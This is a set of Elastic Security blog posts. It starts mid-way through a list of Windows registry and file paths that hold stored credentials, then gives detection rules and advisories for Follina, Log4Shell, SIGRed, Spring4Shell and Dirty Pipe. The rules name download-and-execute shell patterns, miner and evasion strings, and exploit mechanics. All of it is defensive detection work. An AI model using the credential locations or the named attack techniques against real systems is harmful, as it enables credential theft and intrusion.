  - '\REGISTRY\User\*\software\Martin Prikryl\WinSCP 2\Sessions\*\Password*'

  # Sysadmin - TeamViewer
  - '\REGISTRY\Machine\SOFTWARE\WOW6432Node\TeamViewer\PrxyPassword*'

  # Sysadmin - OpenVPN
  - '\REGISTRY\User\*\Software\OpenVPN-GUI\Configs\auth-data*'

  # Outlook Passwords
  - '\Registry\User\*\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\*Password'
  - '\Registry\Users\*\Software\Microsoft\Office\*.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676'

Monitored registry paths

file_paths:
  # DPAPI - User MasterKey
  # DPAPI - CREDHIST
  - 'C:\Users\*\AppData\Roaming\Microsoft\Protect\*'

  # DPAPI - System MasterKey
  - '?:\Windows\System32\Microsoft\Protect\S-1-5-18\User\*'

  # CredVault - User
  - '?:\Users\*\AppData\Roaming\Microsoft\Vault\*'
  - '?:\Users\*\AppData\Local\Microsoft\Vault\*'

  # CredVault - System
  - '?:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Vault\*'

  # CredMan - Users
  - '?:\Users\*\AppData\Roaming\Microsoft\Credentials\*'
  - '?:\Users\*\AppData\Local\Microsoft\Credentials\*'

  # CredMan - System
  - '?:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\*'
  - '?:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials\*'

  # CredMan - Service
  - '?:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials\*'
  - '?:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials\*'
  - '?:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials\*'
  - '?:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials\*'

  # Unattended creds
  - '?:\Windows\Panther\Unattend.xml'
  - '?:\Windows\Panther\Unattended.xml'
  - '?:\Windows\Panther\Unattend\Unattended.xml'
  - '?:\Windows\Panther\Unattend\Unattend.xml'
  - '?:\Windows\System32\Sysprep\unattend.xml'
  - '?:\Windows\System32\Sysprep\Panther\unattend.xml'

  # Browser
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\key*.db'
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\logins.json'
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\cert*.db'
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\cookies.sqlite'
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\signons.sqlite'
  - '*\Users\*\User Data\Default\Login Data'
  - '*\users\*\AppData\Local\*\User Data\Default\Cookies'
  - '*\Users\*\AppData\Roaming\Opera Software\Opera Stable\*'

  # RDP
  - '*\Users\*\AppData\Local\Microsoft Corporation\Remote Desktop Connection Manager\RDCMan.settings'
  - '*\Users\*\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings'

  # Database - SVN
  - '?:\Users\*\AppData\Roaming\Subversion\auth\svn.simple'

  # Database - postgresql
  - '?:\Users\*\AppData\Roaming\postgresql\pgpass.conf'

  # Database - robomongo
  - '?:\Users\*\.3T\robo-3t\*\robo3t.json'
  - '?:\users\*\.3T\robomongo\*\robomongo.json'
  - '?:\users\*\.config\robomongo\*\robomongo.json'

  # Database - squirrel
  - '?:\Users\*\.squirrel-sql\SQLAliases23.xml'

  # Database - DbVisualizer
  - '?:\Users\*\.dbvis\config70\dbvis.xml'

  # Database - SQL Developer
  - '?:\Users\*\AppData\Roaming\SQL Developer\system*\o.jdeveloper.db.connection.*\connections.xml'
  - '?:\Users\*\AppData\Roaming\SQL Developer\system*\o.sqldeveloper.*\product-preferences.xml'

  # Cloud - AWS
  - '?:\Users\*\.aws\credentials\*'

  # Cloud - GCloud
  - '?:\Users\*\AppData\Roaming\gcloud\*'

  # Cloud - Azure
  - '?:\Users\*\.azure\*'

  # Cloud - Github
  - '?:\Users\*\.config\git\credentials'

  # Cloud - iCloud
  - '?:\users\*\AppData\Roaming\Apple Computer\Preferences\*'

  # Private Keys & Certs & Keepass
  - '*.pem'
  - '*.pfx'
  - '*.p12'
  - '*.pvk'
  - '*.key'
  - '*.ppk'
  - '*.rdg'
  - '*.kdb'
  - '*.kdbx'

  # Config - IIS Connection Strings
  - '?:\inetpub\wwwroot\*\web.config'

  # FileZilla Creds
  - '?:\Users\*\AppData\Roaming\FileZilla\*'

  # Jenkins Creds
  - '*\credentials.xml'
  - '*\secrets\master.key'
  - '*\secrets\hudson.util.Secret'

  # SSH and SSL
  - '?:\users\*\.ssh\*'

  # WIFI
  - '?:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\*\\*.xml'

  # Collab
  - '?:\Users\*\AppData\Roaming\Slack\Cookies\*'
  - '?:\Users\*\AppData\Roaming\Slack\storage\slack-downloads\*'

  # GPP - 'Creds (legacy domains)

  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Groups\Groups.xml'
  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\DataSources.xml'
  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml'
  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Services\Services.xml'
  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Registry\registry.xml'
  - '?:\Users\*\AppData\Roaming\KeePass\KeePass*'

  # Thunderbird
  - '?:\Users\*\AppData\Roaming\Thunderbird\Profiles\*.default*\*'

  # VPN
  - '?:\Users\*\AppData\Local\NordVPN\NordVPN.exe*\user.config'

  # NTDS.DIT
  - '*\NTDS.DIT'

  # SAM
  - '*\SAM'

Closing thoughts

Leveraging the new events that are collected with our kernel mode driver, and not subject to user mode tampering, we expanded our detection and prevention coverage for both credential discovery and access. Furthermore, combining it with the correlation features of Elastic EQL, we can create interesting hunts and detection rules for a variety of scenarios, with minimal false positive rates.

References

Vulnerability summary: Follina, CVE-2022-30190

Devon Kerr — Thu, 19 Jan 2023 00:00:00 GMT

On May 27, 2022, the nao_sec independent security research group shared a VirusTotal link to a weaponized Microsoft Office document revealing a previously unknown vulnerability in the Microsoft Support Diagnostic Tool (MSDT). This vulnerability is most likely to be exploited via phishing lure attachments and is triggered when a document is opened. Readers should expect this vulnerability to be adopted by threats of all kinds and be aware that it enables arbitrary code to be executed as outlined in Microsoft’s disclosure.

Summary

Readers may recall that template injection is an established technique enabling an attacker to remotely load malicious content when a document is opened by a relevant application. This vulnerability — dubbed “Follina” — works in conjunction with template injection, specifically when the remote template uses the ms-msdt URI handler. Importantly, it does not require macros to be enabled. As in other cases of template injection, readers should be aware that remote objects may be heavily obfuscated.

Security teams should monitor msdt.exe as a child process of WINWORD.exe and other applications, paying particular attention to command line arguments and network activity attributed to that child process. Security teams may also consider monitoring network activity from all MS Office applications and their descendants as one way of generically identifying initial exploitation attempts via weaponized documents.

Elastic is deploying a new malware signature to identify the use of ms-msdt URIs. This signature will be distributed via the Elastic Endpoint. The team has also issued an update to the “Suspicious MS Office Child Process” rule available via the detection-rules repository, adding “msdt.exe” to the list of suspicious descendants and “Outlook.exe” to the list of relevant parent processes. The following query pertains to Elastic Endgame:

Network where process_name == “msdt.exe” and
descendant of  [process where process_name == “winword.exe” ]
| unique process_name, command_line

References

Several organizations have released information and resources related to this vulnerability (non-exhaustive):

Microsoft’s guidance, outlining one method of disabling the MSDT URL protocol
Huntress has provided their analysis of the vulnerability with additional information about ms-msdt abuse Todyl has shared an Elastic query pertaining to process events

Kevin Beaumont has provided a write-up with historical and other details about potential implementations.

Analysis of Log4Shell vulnerability & CVE-2021-45046

Jake King — Wed, 30 Nov 2022 00:00:00 GMT

To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisoryhere.

This document was updated on December 17, 2021 to reflect a revised CVSS score for CVE-2021-45046, and new findings by the community.

In recent days Log4Shell, or CVE-2021-44228, has dominated the news cycle in the world of information security and beyond. Elastic released an advisory detailing how Elastic products and users are impacted, and a blog post describing how our users can leverage Elastic Security to help defend their networks.

Many readers have further questions as to how we’re tracking this issue within Elastic Security, what our coverage is now, and what we’re expecting to do next. This post outlines a few details for our current status, and provides details regarding a new, related vulnerability: CVE-2021-45046.

Elastic Security response

As you may imagine, the team has worked tirelessly to ensure that we’re developing detections for both active exploitation of the vulnerability, as well as post-compromise indicators, and will continue active development until further notice.

We’re spending time focusing on detailed detections that better align with some of the emerging trends that adversaries are now taking advantage of as they have time to develop their attack strategies. And we’re not working in silence — those that may have had a chance to catch up on our original post a few days ago will be pleasantly surprised we’ve added further detections and hunting examples, and will continue to do so as we learn more with the community.

Alongside the threat research and signature development, we’ve noted some interesting observations:

We noted several instances of generic crypto miners for Linux being deployed that appeared to be related to exploitation of this CVE, but determined that they are benign true positives
We’ve stopped at least eight different families of malware being deployed using the log4j exploit, indicating widespread adoption of the exploit by threats of all kinds
While we are observing coverage across our full protection suite (such as behavior protection), it is noteworthy that our free basic-tier malware protection is successfully preventing initial access

We will aim to keep users and readers apprised of findings, and hope to share additional observations in the wild as we see them.

A new contender: CVE-2021-45046

While we watch the CVE-2021-44228 (Log4Shell) vulnerability dominate the news cycles, a new contender, CVE-2021-45046, was accidentally introduced to Log4j2j version 2.15.0, allowing adversaries to invoke a Denial of Service, and a remote code execution condition through specially crafted payloads. Previous mitigations to avoid Information Disclosure vulnerabilities by setting the log4j2.noFormatMsgLookup state to true do not mitigate against this new finding, according to the CVE details.

While initially CVE-2021-45046 carried a lower CVSS score of 3.7 due to the impact of the initially discovered condition that can be invoked, this was re-evaluated to a 9.0 indicating limited remote code execution was possible. The finding was shared on December 16, 2021 by Alvaro Muñoz, who identified that while the default setting formatMsgNoLookups was accurately set to true, there were alternative locations for lookups to take place. Technical details are still unfolding from the community, however the Log4j2 team shared the following message within their security updates:

The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.

The safest thing to do is to upgrade Log4j to a safe version, or remove the JndiLookup class from the log4j-core jar. Reference here

Given this new information, and readily availablePOCs available for exploitation, the Apache team has recommended those impacted upgrade to the latest, safe version of Log4j2, or alternatively remove the JndiLookup class from the log4j-core jar.

Elastic Security has observed many threat actors and benign scanners leveraging this new methodology already in some edge environments, with payloads incorporating previous attack methodologies such as key extraction attempts and base64 encoded payloads:

We anticipate adding further details as we learn them, and thank the team at lunasec specifically for providing a detailed, early summary of this emerging situation, and of course, provide kudos to Alvaro Muñoz of Github Security Lab for the findings.

Thank you (again!), from Elastic Security

We want to thank all of the security teams across the globe for your tireless work this week. As we referenced before, openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability.

Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized training videos to get you started quickly) or our free fundamentals training courses.

Get started with a free 14-day trial of Elastic Cloud. Or download the self-managed version of the Elastic Stack for free.

References

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/

Detection rules for SIGRed vulnerability

Seth Goodwin,Daniel Stepanic,Justin Ibarra,Andrew Pease — Tue, 22 Nov 2022 00:00:00 GMT

To defend your environment from the SIGRed vulnerability, we recommend implementing the detection logic included below into your environment using technology such as Endpoint security, Winlogbeat, Packetbeat, or network security monitoring (NSM) platforms such as Zeek or Suricata.

Executive summary

On July 14, 2020, Microsoft released a security update related to a remote code execution (RCE) and denial of service (DoS) vulnerability (CVE-2020-1350) in Windows DNS Server (2003 - 2019).

Summary

National Institute of Standards and Technology (NIST) assigned a critical CVSS scoreof 10 out of 10 based on remote code execution without authentication and potential to self-replicate without user interaction
The vulnerability is estimated to be 17 years old and impacts older operating systems (Windows 2003+), which may no longer be supported
The DNS role, which must be enabled to be impacted, is enabled in most environments, and is required by Active Directory and Kerberos services
The vulnerability was reported by Check Point Research and given name “SIGRed”

Timeline of events

May 19, 2020 - Initial Check Point disclosure sent to Microsoft
June 18, 2020 - CVE-2020-1350 issued to vulnerability
July 14, 2020 - Microsoft released patch
July 16, 2020 - First public DoS proof-of-concept published
July 17, 2020 - Elastic releases SIGRed public detection logic

Impact

All systems leveraging the Windows DNS server service are impacted (Windows 2003+). This includes machines such as domain controllers/member servers leveraging Active Directory/Kerberos, as these services rely on the Windows DNS service.

Of note, this is an impact on the way Windows DNS server improperly handles malformed requests and not an underlying issue with the DNS protocol itself.

The SIGRed exploit leverages multiple tactics and techniques categorized by the MITRE ATT&CK® framework:

Tactics

Techniques

Detection

Detection logic

On June 30, 2020, The Elastic Security Intelligence & Analytics Team released our Detection Rules Repository to the public. Expanding on the rules that were released with that post, we’ve included network and endpoint rules that target CVE-2020-1350 (SIGRed) in the public repository:

Unusual child of dns.exe - Kibana Query Language (KQL)

The detection logic in Figure 1 (below) identifies suspicious or unexpected child processes spawned from the Windows DNS service (dns.exe). This activity may indicate activity related to remote code execution (RCE) or other forms of exploitation.

event.category:process and event.type:start and process.parent.name:dns.exe and not process.name:conhost.exe

Figure 1 - Unusual child process of dns.exe

Unusual file operations of dns.exe (KQL)

The detection logic in Figure 2 (below) identifies suspicious or unexpected files being modified by the Windows DNS service (dns.exe). This not only indicates potential RCE or exploitation, but may also indicate preparation for post-compromise activities. For example, this service which is running with SYSTEM privileges could be used to silently write a DLL to Windows system folder setting up possible execution through a known DLL side-loading vector.

event.category:file and process.name:dns.exe and not file.name:dns.log

Figure 2 - Unusual file modification by dns.exe

Network (Packetbeat and Filebeat with the Zeek or Suricata modules)

As detailed in the Check Point SIGRed research, abnormally large DNS responses can cause the heap-based buffer overflow scenario. The logic in Figure 3 (below) identifies large DNS responses using either Packetbeat or Filebeat (with Zeek or Suricata modules enabled).

event.category:(network or network_traffic) and destination.port:53 and (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes>60000

Figure 3 - Abnormally large DNS response (KQL)

Defensive recommendations

Review and implement the above detection logic within your environment using technology such as Endpoint security, Winlogbeat, Packetbeat, or network security monitoring (NSM) platforms such as Zeek or Suricata.
Use the included network rule to identify large DNS queries and responses from internal and external populations.
Ensure that you have deployed the latest Microsoft Security Update (Monthly Rollup or Security Only) and restart the patched machines. If unable to patch immediately: Microsoft released a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied.
Maintain backups of your critical systems to aid in quick recovery.
Perform routine vulnerability scans of your systems and patch identified vulnerabilities.

References

Detecting Exploitation of CVE-2021-44228 (Log4j2) with Elastic Security

Jake King,Samir Bousseaden — Tue, 22 Nov 2022 00:00:00 GMT

To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisoryhere.

This blog has been updated (Dec. 17, 2021) with further detection and hunting improvements since its initial publish.

Overview

This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment.

Further updates will be provided to this post as we learn more. This version is accurate as of Tuesday, December 14, 2021. Updates from Apache may be investigated directly via the security page for Log4j2.

Summary of CVE-2021-44228 (Log4Shell)

Log4j2 is an open source logging framework incorporated into many Java based applications on both end-user systems and servers. In late November 2021, Chen Zhaojun of Alibaba identified a remote code execution vulnerability, ultimately being reported under the CVE ID : CVE-2021-44228, released to the public on December 10, 2021. The vulnerability is exploited through improper deserialization of user-input passed into the framework. It permits remote code execution and it can allow an attacker to leak sensitive data, such as environment variables, or execute malicious software on the target system.

The identified vulnerability impacts all versions of Log4j2 from version 2.0-beta9 to version 2.14.1. Early methods to patch the issue resulted in a number of release candidates, culminating in recommendations to upgrade the framework to Log4j2 2.15.0-rc2 at the time of this post.

Given the trivial complexity and the nature of observed widespread exploitation, mitigation should be considered critical in any environment that has identified software leveraging vulnerable versions of Log4j2.

Detecting Exploitation of Log4Shell in Elastic Security

Elastic Security users can use the following Event Correlation detection rule to identify active exploitation of the Log4j2 vulnerability. Depending on the format of the host based event data you may need to modify this detection to match your data fields.

Detection Rule when using Endpoint data

sequence by host.id with maxspan=1m
 [network where event.action == "connection_attempted" and
  process.name : "java" and
  /*
     outbound connection attempt to
     LDAP, RMI or DNS standard ports
     by JAVA process
   */
  destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
 [process where event.type == "start" and

  /* Suspicious JAVA child process */
  process.parent.name : "java" and
   process.name : ("sh",
                   "bash",
                   "dash",
                   "ksh",
                   "tcsh",
                   "zsh",
                   "curl",
                   "perl*",
                   "python*",
                   "ruby*",
                   "php*",
                   "wget")] by process.parent.pid

Detection Rule when using Auditbeat data

sequence by agent.id with maxspan=1m
 [network where event.action == "connected-to" and
  process.name : "java" and
  /*
     outbound connection attempt to
     LDAP, RMI or DNS standard ports
     by JAVA process
   */
  destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
 [process where event.type == "start" and

  /* Suspicious JAVA child process */
  process.parent.name : "java" and
   process.name : ("sh",
                   "bash",
                   "dash",
                   "ksh",
                   "tcsh",
                   "zsh",
                   "curl",
                   "perl*",
                   "python*",
                   "ruby*",
                   "php*",
                   "wget")] by process.parent.pid

Detection rule when using Endgame streamed events

sequence by agent.id with maxspan=1m
 [network where event.category == "network" and
  process.name : "java" and
  /*
     outbound connection attempt to
     LDAP, RMI or DNS standard ports
     by JAVA process
   */
  destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
 [process where event.type == "start" and

  /* Suspicious JAVA child process */
  process.parent.name : "java" and
   process.name : ("sh",
                   "bash",
                   "dash",
                   "ksh",
                   "tcsh",
                   "zsh",
                   "curl",
                   "perl*",
                   "python*",
                   "ruby*",
                   "php*",
                   "wget")] by process.parent.pid

This detection rule looks for a sequence of an outbound connection attempt to standard ports for LDAP, RMI and DNS (often abused via recently observed JAVA/JNDI injection attacks) followed by a child process of the same Java process instance.

Now, let’s demonstrate how this rule detects exploitation of the log42j vulnerability:

The screenshot above shows an attacker exploiting the vulnerability with a base-64 encoded payload targeting an example vulnerable application created by Christophe Tafani-Dereeper.

This screenshot shows the detection of the active exploitation of CVE-2021-44228 within Elastic Security detailing both the alert and timeline view of the exploit.

The screenshot above shows in the investigation of the detection alert that Java executed a shell script to download and run a bash script.

Update: Detection & hunting improvements

Suspicious Shell Commands Execution via Java

Based on observed publicly known malicious Java classes served via log4j exploit, you can hunt for suspicious shell scripts and ingress tool transfer commands:

process where event.type == "start" and
  process.parent.name : "java*" and

  /* Ingress tools transfer via common shell command interpreters */

  /* linux or macos */
  (
   (process.name : ("sh", "bash", "python*") and
    process.command_line : ("*curl*|*sh*", "*wget*|*bash", "*curl*|*bash*", "*curl*|*bash*", "*http*|*sh*", "*python*http*")) or

  /* windows */
  (process.name : ("powershell.exe", "pwsh.exe", "cmd.exe") and
   process.command_line : ("*.downloadstring*", "*.downloadfile*", "*.downloaddata*", "*BitsTransfer*", "* -enc*", "* IEX*", "*wp-content*", "*wp-admin*", "*wp-includes*", "*$*$*$*$*$*", "*^*^*^*^*^*^*^*^*^*", "*.replace*", "*start-process*", "*http*", "*cmd*powershell*")))

Untrusted File Execution via JAVA

Identifies when a JAVA interpreter creates an executable file (PE/ELF) and the file is subsequently executed.

Detection Rule when using Endpoint data

sequence by host.id with maxspan=5m
 [ file where event.type != "deletion" and
  process.name : ("java", "java.exe", "javaw.exe") and

  (file.extension : ("exe", "com", "pif", "scr") or
      /* Match Windows PE files by header data (MZ) */
  file.Ext.header_bytes : ("4d5a*", "7f454c46*")) and

  not file.path :  ("?:\\Program Files\\*",
                    "?:\\Program Files (x86)\\*") ] by file.path
 [ process where event.type == "start" and
  not process.code_signature.trusted == true ] by process.executable

Detection rule when using Endgame streamed events

sequence by agent.id with maxspan=5m
  [ file where event.type != "deletion"
    process.name : ("java", "java.exe", "javaw.exe")] by file_path
  [ process where event.type == "start" and
  not process.code_signature.trusted == true] by process_path

Potential CoinMiner activity

Process with command line common to cryptocurrency miner (most observed campaigns leveraging log4j exploit are coinminers):

process where event.type == "start" and
 process.command_line :
       ("* pool.*", "*-u*--coin*", "*.xmr.*", "*.xmr1.*",
        "*stratum*", "*elitter.net*", "*cryptonight*",
        "*-a scrypt*", "*stratum1*", "*-userpass*", "*-max-cpu-usage*",
      "*qhor.net*", "*-wallet*pool*", "*--donate-level*", "*supportxmr.com*")

Other relevant post exploitation detections :

Attempt to Disable IPTables or Firewall

Tampering of Bash Command-Line History

System Log File Deletion

Potential Reverse Shell Activity via Terminal

Suspicious JAVA Child Process

Attempt to Disable Syslog Service

Elastic Endgame EQL Queries

Suspicious Java Netcon followed by Unusual Child Process

sequence with maxspan=5s
 [network where process_name == "java*" and destination_port in (1389, 389, 1099, 53, 5353) and
  destination_address != "127.0.0.1" and not destination_address == "::1"] by pid
 [process where opcode in (1,5) and
  /* Suspicious JAVA child process */
  parent_process_name == "java*" and
   process_name in ("sh", "bash", "dash", "ksh", "tcsh", "zsh", "curl", "perl*", "python*", "ruby*", "php*", "wget", "powershell.exe", "cmd.exe")] by ppid

Suspicious Shell Commands Execution via Java

process where opcode in (1,5) and
  parent_process_name == "java*" and
  /* Ingress tools transfer via common shell command interpreters */

  /* linux or macos */
 (
  (process_name in ("sh", "bash", "python") and
   wildcard(command_line, "*curl*|*sh*", "*wget*|*bash", "*curl*|*bash*", "*curl*|*bash*", "*http*|*sh*", "*python*http*")) or
  /* windows */
  (process_name in ("powershell.exe", "pwsh.exe", "cmd.exe") and
   wildcard(command_line,"*.downloadstring*", "*.downloadfile*", "*.downloaddata*", "*BitsTransfer*", "* -enc*", "* IEX*", "*wp-content*", "*wp-admin*", "*wp-includes*", "*$*$*$*$*$*", "*^*^*^*^*^*^*^*^*^*","*.replace*", "*start-process*", "*http*", "*cmd*powershell*")))

Common Coin Miners as a descendant of JAVA

process where opcode in (1, 3, 4, 5) and
 descendant of [process where opcode in (1, 3, 4, 5) and process_name == "java*"] and
 wildcard(command_line, "* pool.*", "*-u*--coin*", "*.xmr.*", "*.xmr1.*", "*stratum*", "*elitter.net*", "*cryptonight*", "*-a scrypt*", "*stratum1*",
"*-userpass*", "*-max-cpu-usage*", "*qhor.net*", "*-wallet*pool*",  "*--donate-level*", "*supportxmr.com*",
/* evasion commands */
"*base64*", "*history -c*", "*ld.so.preload*", "*nmi_watchdog*", "*ufw*disable*", "*.bash_history*", "*chmod*+x*",
"*tor2web*", "*kill*-9*", "*python*-c*http*")

Untrusted File Execution via JAVA

sequence with maxspan=2m
  [ file where opcode != 2 and file_name == "*.exe" and process_name == "java*"] by file_path
  [ process where opcode in (1,5)] by process_path

Community Detections

A number of community members discussing widespread exploitation of the vulnerability have provided insights into a number of early detection methods that analysts may leverage to identify if systems they are using have been exploited or are under active exploitation:

A series of payloads have been shared by the GreyNoise team, including payloads containing both encoded and decoded variants for analysts looking to explore logs stored within their systems. This has been complemented with a list of initial tagged IPs attempting exploitation of the vulnerability.
Florian Roth of Nextron Systems has provided a series of checks for local exploitation using grep / zgrep, alongside some initial YARA signatures in a Gist listed on his Github account. Florian also shared a method for generating Thinkst CanaryTokens to test systems you may manage for exploitability.
Rob Fuller (Mubix) has shared a list of known file hashes for vulnerable versions of the framework, here.

Additional Mitigation Strategies

Outside of the recommended guidance from the Apache team regarding the deployment of the latest, patched versions of the Log4j2 framework to update, a number of mitigations have been widely suggested to prevent exploitation:

Fastly have suggested checking if your version of Log4j supports executing the JVM with JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true to disable the lookup functionality to the remote server. This should apply to versions 2.10.0 through 2.15.0.
To prevent lateral movement from a vulnerable host, or exploitation over the network, limiting connectivity from potentially vulnerable systems to external resources to trusted applications and / or services is recommended.

Thank you, from Elastic Security.

We want to thank all of the security teams across the globe for your tireless work today and through the weekend, especially those of you listed in this post. Openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability. We want you to know we are here with you every step of the way.

Existing Elastic Security can access these capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized training videos to get you started quickly) or our free fundamentals training courses. You can always get started with a free 14-day trial of Elastic Cloud. Or download the self-managed version of the Elastic Stack for free.

Reference Material

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability

https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228

https://logging.apache.org/log4j/2.x/security.html#

https://github.com/christophetd/log4shell-vulnerable-app

Elastic's response to the Spring4Shell vulnerability (CVE-2022-22965)

Devon Kerr — Tue, 22 Nov 2022 00:00:00 GMT

On March 29, 2022 a vulnerability in the Spring framework was disclosed to the public by VMware. This vulnerability had several prerequisites affecting impact:

Spring framework versions 5.3.0-5.3.17, 5.2.0-5.2.19, potentially software versions prior to 5.2.x
An application running as a Spring MVX or WebFlux object
Apache Tomcat as the container for that application
The application packaged as a Web Application Resource (WAR)

Specifically, this vulnerability targets the ClassLoader() class, though similar undiscovered vulnerabilities in other classes are likely. A URI parameter can be passed to Tomcat as part of a standard web request to exploit this vulnerability.

What is the threat?

CVE-2022-22965 is a vulnerability that may affect systems on which the Spring Framework has been installed, and which expose Spring MVC or WebFlux applications running on JDK 9 or later. The exploit associated with this vulnerability requires Apache Tomcat, and that applications are deployed as Web Application Resources (WARs) — but enterprises should consider that other methods of exploitation are also possible.

What is the impact?

If successfully exploited, the Spring4Shell vulnerability may permit an adversary to execute arbitrary code (including malware) in the context of the web server. Because specific software, versions, and configurations are required as prerequisites, enterprises should expect a less impact than a vulnerability like Log4Shell. While Spring4Shell has more specific prerequisites to cause impact, Elastic Security still recommends following official guidance regarding patching and upgrading.

Leveraging Elastic for exploit detection

Prebuilt protections that generically identify aspects of successful exploitation already exist in community-facing repositories:

Additionally, Elastic provides dozens of rules for common and uncommon post-exploitation techniques, which may appear in later stages of an intrusion attempt.

Artifacts

Elastic’s community-facing detection-rules repository contains two rules specific to webserver post-exploitation. Due to the unpredictable nature of vulnerabilities, any post-exploitation rules provided by Elastic may be helpful in detecting or understanding a Spring4Shell-related intrusion attempt. For enterprises seeking to better understand this vulnerability, consider this excellent overview by Elastic community member Stijn Holzhauer.

Defensive recommendations

Enterprises should follow guidance provided by Spring in their official disclosure announcement, and seek to patch or upgrade the Spring framework. Additionally, for those who may not be able to address the vulnerability in Spring, a patch has also been released to close this vulnerability in Apache Tomcat (minimum versions 10.0.20, 9.0.62, 8.5.78). Further, it is possible to configure disallowedFields to neutralize vulnerabilities related to data binding abuses.

References

Not already using Elastic Security? You can always get started with a free 14-day trial of Elastic Cloud.

Detecting and responding to Dirty Pipe with Elastic

Colson Wilhoit,Samir Bousseaden,Jake King,Andrew Pease — Fri, 09 Sep 2022 00:00:00 GMT

Preamble

Dirty Pipe is a local privilege escalation vulnerability that is easily exploitable with a handful of working exploit POCs already available. Its broad scope (any user-readable file and affected Linux versions) along with its evolving nature (the SUID shell backdoor exploit) make CVE-2022-0847 especially dangerous for administrators of systems that are potentially vulnerable.

What is Dirty Pipe (CVE-2022-0847)?

CVE-2022-0847 is a Linux local privilege escalation vulnerability, discovered by security researcher Max Kellermann that takes advantage of the way the Linux kernel manages page files and named pipes allowing for the overwriting of data in read-only files. This vulnerability impacts Linux kernels 5.8 and later until any version before 5.16.11, 5.15.25, and 5.10.102.

What is the impact?

With many POC’s already released, this vulnerability can be easily exploited to gain root-level privileges by, for instance, rewriting sensitive files like “/etc/passwd” or hijacking a SUID root binary (like sudo) via injection of malicious code.

What is Elastic doing about it?

Elastic is releasing detection logic and Auditd rules that can be used to detect exploitation of this vulnerability.

Dirty Pipe Details

The vulnerability can be exploited due to a flaw in the new pipe buffer structure where a flag member lacked proper initialization and could then contain a stale value. This could then be used to write to pages within the page cache behind read-only files, allowing for privilege escalation. Given the specific nature of this vulnerability, detection can be quite difficult.

Linux Pipes & CVE-2022-0847

Pipes are an interprocess communication mechanism represented as a file within Linux that can receive input data and provide an output for that data. The output of one process can become the input of another using a “pipe” to forward that data between.

Pipes are managed by the CPU in memory and their data is referred to as a “page”.

The exploitation of this vulnerability utilizes a process called “page splicing”. Page splicing is used to merge data between different pipe pages in memory without having to rewrite the data.

The flag we referenced in the summary is the PIPE_BUF_FLAG_CAN_MERGE flag. This must be set in order for a page cache to be merged and is only set when the pipe page becomes full. Howerver, if the page cache is emptied completely this flag remains (lack of initialization) which is where the problem lies.

The exploit functions generally by:

Opening a new pipe
Filling the pipe’s page cache with arbitrary data in order to set the PIPE_BUF_FLAG_CAN_MERGE flag
Draining the page cache of data but retaining the PIPE_BUF_FLAG_CAN_MERGE flag and replacing the data with the new data they want to overwrite a read-only file with
The splice (“page splicing”) syscall is then used to merge the pages (the pipe page and target file page) leading to the new data being added to a target file bypassing the read-only permissions

Many of the exploit POCs observed so far target the /etc/passwd file to overwrite and provide the users with elevated root privileges. Other variants of the exploit released allow for the creation of a SUID shell backdoor by overwriting a binary that has SUID permissions (superuser capabilities) giving the user a root shell and complete control.

We anticipate that adversaries and researchers will develop a multitude of other exploitation chains with this particular vulnerability.

Proof Of Concept Code

The security community has developed a multitude of different tests that adversaries may take advantage of in future attacks against systems. POCs listed below are authored to help security researchers identify if systems are impacted by the vulnerability, and furthermore - test detection strategies.

Original Max Kellermann write-up: https://dirtypipe.cm4all.com/
SUID shell: https://haxx.in/files/dirtypipez.c
Passwd overwrite: https://github.com/liamg/traitor
